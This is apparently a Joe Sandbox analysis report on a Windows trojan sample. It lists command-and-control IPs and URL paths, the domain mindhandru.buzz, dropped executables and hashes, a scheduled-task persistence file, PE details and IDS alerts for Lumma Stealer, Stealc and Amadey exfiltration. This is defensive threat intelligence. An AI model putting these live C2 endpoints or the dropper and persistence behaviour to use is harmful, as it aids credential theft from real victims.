https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpj	skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/D	mDuCbT8LnH.exe, 00000000.00000003.2210193287.0000000000E33000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209617377.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581399
Start date and time:	2024-12-27 14:59:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mDuCbT8LnH.exe renamed because original name is a hash value
Original Sample Name:	8384621273222debea0fcf855a0e1c0a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/4@1/4
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target V4H7WRUUSV81II1QF.exe, PID 3836 because there are no executed function
Execution Graph export aborted for target mDuCbT8LnH.exe, PID 6204 because there are no executed function
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: mDuCbT8LnH.exe

Simulations

Behavior and APIs

Time	Type	Description
09:00:44	API Interceptor	79x Sleep call for process: mDuCbT8LnH.exe modified
09:02:02	API Interceptor	498x Sleep call for process: skotes.exe modified
15:01:27	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.206	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/c4becf79229cb002.php
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

Process:	C:\Users\user\Desktop\mDuCbT8LnH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3209216
Entropy (8bit):	6.657672536877299
Encrypted:	false
SSDEEP:	49152:ZKoDfBLgO/OiliAQeZRHaCydFU2gyoHcx07/3PN/Z9:VdEO/biAQEFy3boj7fPN/Z9
MD5:	023D3E22C2DF966B7EC6B1950A2FBC95
SHA1:	04F5B71CAF24E1E36C166399E4AEDEBBED8D5626
SHA-256:	EF8EBDB12E918ED1196ABACABC5CEDA321D39DDBEC73D3A46835BFB722CF35CA
SHA-512:	D7FE5AAE64A369DF5024D19C4CC2C8F22971833EF195E81E797A03703495A0D016523689F32209942F5E6F36E639706A5165068E57F67649820E99A7626F1EF6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@..........................01.......1...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...ysynnfor.@......:.................@...lfcxdbpw......0.......0.............@....taggant.0....1.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe

Download File

Process:	C:\Users\user\Desktop\mDuCbT8LnH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5104640
Entropy (8bit):	5.581216662386939
Encrypted:	false
SSDEEP:	49152:fo1/sZr8WNkQoYSUrQFIezvP8X/YbFD/bpMN/Qu:A+Zr840YS3FI00X/8/Mh
MD5:	E8986E2F122CDFCFED4853174606574F
SHA1:	CB43856B0831DB65EAE9390CAB7B4B5257E8A22E
SHA-256:	CE2F452C2D36B986038BA58CF0146BB360F0D87F71F1CE56C4430B47041852C8
SHA-512:	F9DBFE5861ADDBA1111EBCCF54BF75A815677ACB02828303D4EA5D20FD8879C44F5B1C3514822F720F99CEAB6695ECC523868B108957DB57384F793B137F338D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........M...........@.......................... N.......N...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...jvdduhrr. )...$...)...$.............@...adcgyevy......M.......M.............@....taggant.0....M.."....M.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3209216
Entropy (8bit):	6.657672536877299
Encrypted:	false
SSDEEP:	49152:ZKoDfBLgO/OiliAQeZRHaCydFU2gyoHcx07/3PN/Z9:VdEO/biAQEFy3boj7fPN/Z9
MD5:	023D3E22C2DF966B7EC6B1950A2FBC95
SHA1:	04F5B71CAF24E1E36C166399E4AEDEBBED8D5626
SHA-256:	EF8EBDB12E918ED1196ABACABC5CEDA321D39DDBEC73D3A46835BFB722CF35CA
SHA-512:	D7FE5AAE64A369DF5024D19C4CC2C8F22971833EF195E81E797A03703495A0D016523689F32209942F5E6F36E639706A5165068E57F67649820E99A7626F1EF6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@..........................01.......1...@.................................W...k.............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...ysynnfor.@......:.................@...lfcxdbpw......0.......0.............@....taggant.0....1.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4334307891203677
Encrypted:	false
SSDEEP:	6:bibtX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0ltyt0:MuQ1CGAFifXVct0
MD5:	C75AC35CF6487AB07D4E9DBFC740398B
SHA1:	5084ACC353C7448C80AF02405BD078657655BE58
SHA-256:	75BB6C1F0186763321E432B27E5CEDDB8E7A22EE84FCC62246C1C50988C1DECE
SHA-512:	754789E39DBA2DCA1D9B2915FED4014FC339B49B3F7FEC4C0C85A355E3AD9FFF4AC948CF810899963F20729D26F11812CB1AD768EF01CE8CDD81A64DB70BEE96
Malicious:	false
Reputation:	low
Preview:	......E...:E.R.....AF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950522415587738
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mDuCbT8LnH.exe
File size:	1'867'776 bytes
MD5:	8384621273222debea0fcf855a0e1c0a
SHA1:	56763534cb625a3c51274b4adb8952a236de1fec
SHA256:	7ab81c7619021a613018c6f111938ceb88ef17c36b8f9e45af96a1d125a177f3
SHA512:	2a0f4da6e5ef4a327effec22567eba6a1cb9161dafcfcb3d25037673cb08aea9f034796de7f6ea06f1537d83b2d42ba9bd90af35b6aa4d64b3d27dd0751aad39
SSDEEP:	49152:Ie6+kABgyHv4ul9Vdb+4yL8RBRog9dDlTh6/L2c:IR+zLl9VdiVLcRZnm/L9
TLSH:	148533B944B0D2B8D2659333EA8BC782BF516793C15A100F5BC9A1E187B7F08B572D6C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................I...........@...........................I.....W^....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FFAF8BC7BBAh
divps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FFAF8BC9BB5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	728f48d80b62b3809d6f1750288523b1	False	0.9995787377450981	data	7.9733618966959305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a6000	0x200	02126a55f6dad66e919585f88e71878e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vsprjcoh	0x2fb000	0x19e000	0x19e000	cbeae78976c8c3552057325a42484bf5	False	0.9948948662062198	data	7.9537975049690175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yzcnzdio	0x499000	0x1000	0x400	56f38e6779f813c617129e7a57d27e2e	False	0.791015625	data	6.183528770687236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49a000	0x3000	0x2200	3774a2295843638e14e108d98d774a7d	False	0.08662683823529412	DOS executable (COM)	0.9876565337229842	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T15:00:44.708319+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:00:45.776817+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:00:45.776817+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:00:47.001392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:00:47.748599+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:00:47.748599+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:00:49.386138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T15:00:50.297213+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T15:00:51.725180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T15:00:54.119719+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T15:00:56.599915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:00:59.124184+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	104.21.11.101	443	TCP
2024-12-27T15:00:59.128594+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49711	104.21.11.101	443	TCP
2024-12-27T15:01:02.994241+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49725	104.21.11.101	443	TCP
2024-12-27T15:01:03.800290+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49725	104.21.11.101	443	TCP
2024-12-27T15:01:19.193041+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49764	185.215.113.206	80	TCP
2024-12-27T15:02:13.789412+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49885	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:00:43.384913921 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:43.384980917 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:43.385067940 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:43.386660099 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:43.386672974 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:44.708163977 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:44.708318949 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:44.712884903 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:44.712910891 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:44.713242054 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:44.760525942 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:44.760555029 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:44.760695934 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:45.776829004 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:45.776921034 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:45.776972055 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:45.779062033 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:45.779090881 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:45.779109001 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:45.779118061 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:45.788290024 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:45.788341045 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:45.788413048 CET	49705	443	192.168.2.5	104.21.11.101
